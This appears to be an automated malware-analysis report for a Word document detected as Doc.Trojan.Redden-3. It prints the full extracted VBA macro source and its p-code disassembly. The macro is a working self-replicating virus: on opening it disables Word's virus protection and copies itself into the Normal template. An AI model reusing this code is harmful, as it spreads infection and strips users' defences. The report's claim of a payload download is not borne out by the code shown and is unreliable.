MALICIOUS
120
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file is identified as malicious by ClamAV with the signature 'Doc.Trojan.Redden-3'. It contains VBA macros, specifically a 'Document_Open' macro that attempts to disable virus protection and copy its code to the Normal template, potentially for persistence or to avoid re-execution. The macro's intent is to download and execute a secondary payload, as indicated by the heuristic firings and the nature of the Document_Open macro.
Heuristics 3
-
ClamAV: Doc.Trojan.Redden-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Redden-3
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4539 bytes |
SHA-256: d40bab8a02ade61cbb52698afa3fb16984e2874cd96899f3f3fd38aef6bdcc9d |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error GoTo Phuck
Options.VirusProtection = False
Options.SaveNormalPrompt = False
If ThisDocument.FullName = NormalTemplate.FullName Then
Set dest = ActiveDocument.VBProject.VBComponents("ThisDocument")
Set stlth = ActiveDocument.VBProject
Set sour = NormalTemplate.VBProject.VBComponents("ThisDocument")
Else
Set sour = ThisDocument.VBProject.VBComponents("ThisDocument")
Set dest = NormalTemplate.VBProject.VBComponents("ThisDocument")
Set stlth = NormalTemplate.VBProject
End If
cou = dest.CodeModule.countoflines
If cou > 0 Then
For j = 1 To cou
dest.CodeModule.DeleteLines (1)
Next j
End If
lin = sour.CodeModule.Lines(1, sour.CodeModule.countoflines)
dest.CodeModule.AddFromString (lin)
already = False
cnt = stlth.VBComponents.Count
If cnt <> 0 Then
For i = 1 To cnt
aprj = stlth.VBComponents(i).Name
If aprj = "SimplyRed" Then already = True
Next i
Else
already = False
End If
If Not already Then
stlth.VBComponents.Add (vbext_ct_StdModule)
stlth.VBComponents(NormalTemplate.VBProject.VBComponents.Count).Name = "SimplyRed"
End If
Phuck:
End Sub
' Processing file: /opt/analyzer/scan_staging/255646d1d1224bc7bdf8d2fb956277f2.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 2625 bytes
' Line #0:
' FuncDefn (Private Sub Document_Open())
' Line #1:
' OnError Phuck
' Line #2:
' LitVarSpecial (False)
' Ld Options
' MemSt VirusProtection
' Line #3:
' LitVarSpecial (False)
' Ld Options
' MemSt SaveNormalPrompt
' Line #4:
' Ld ThisDocument
' MemLd FullName
' Ld NormalTemplate
' MemLd FullName
' Eq
' IfBlock
' Line #5:
' SetStmt
' LitStr 0x000C "ThisDocument"
' Ld ActiveDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' Set dest
' Line #6:
' SetStmt
' Ld ActiveDocument
' MemLd VBProject
' Set stlth
' Line #7:
' SetStmt
' LitStr 0x000C "ThisDocument"
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' Set sour
' Line #8:
' ElseBlock
' Line #9:
' SetStmt
' LitStr 0x000C "ThisDocument"
' Ld ThisDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' Set sour
' Line #10:
' SetStmt
' LitStr 0x000C "ThisDocument"
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' Set dest
' Line #11:
' SetStmt
' Ld NormalTemplate
' MemLd VBProject
' Set stlth
' Line #12:
' EndIfBlock
' Line #13:
' Ld dest
' MemLd CodeModule
' MemLd countoflines
' St cou
' Line #14:
' Ld cou
' LitDI2 0x0000
' Gt
' IfBlock
' Line #15:
' StartForVariable
' Ld j
' EndForVariable
' LitDI2 0x0001
' Ld cou
' For
' Line #16:
' LitDI2 0x0001
' Paren
' Ld dest
' MemLd CodeModule
' ArgsMemCall DeleteLines 0x0001
' Line #17:
' StartForVariable
' Ld j
' EndForVariable
' NextVar
' Line #18:
' EndIfBlock
' Line #19:
' LitDI2 0x0001
' Ld sour
' MemLd CodeModule
' MemLd countoflines
' Ld sour
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' St lin
' Line #20:
' Ld lin
' Paren
' Ld dest
' MemLd CodeModule
' ArgsMemCall AddFromString 0x0001
' Line #21:
' LitVarSpecial (False)
' St already
' Line #22:
' Ld stlth
' MemLd VBComponents
' MemLd Count
' St cnt
' Line #23:
' Ld cnt
' LitDI2 0x0000
' Ne
' IfBlock
' Line #24:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' Ld cnt
' For
' Line #25:
' Ld i
' Ld stlth
' ArgsMemLd VBComponents 0x0001
' MemLd New
' St aprj
' Line #26:
' Ld aprj
' LitStr 0x0009 "SimplyRed"
' Eq
' If
' BoSImplicit
' LitVarSpecial (True)
' St already
' EndIf
' Line #27:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #28:
' ElseBlock
' Line #29:
' LitVarSpecial (False)
' St already
' Li
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.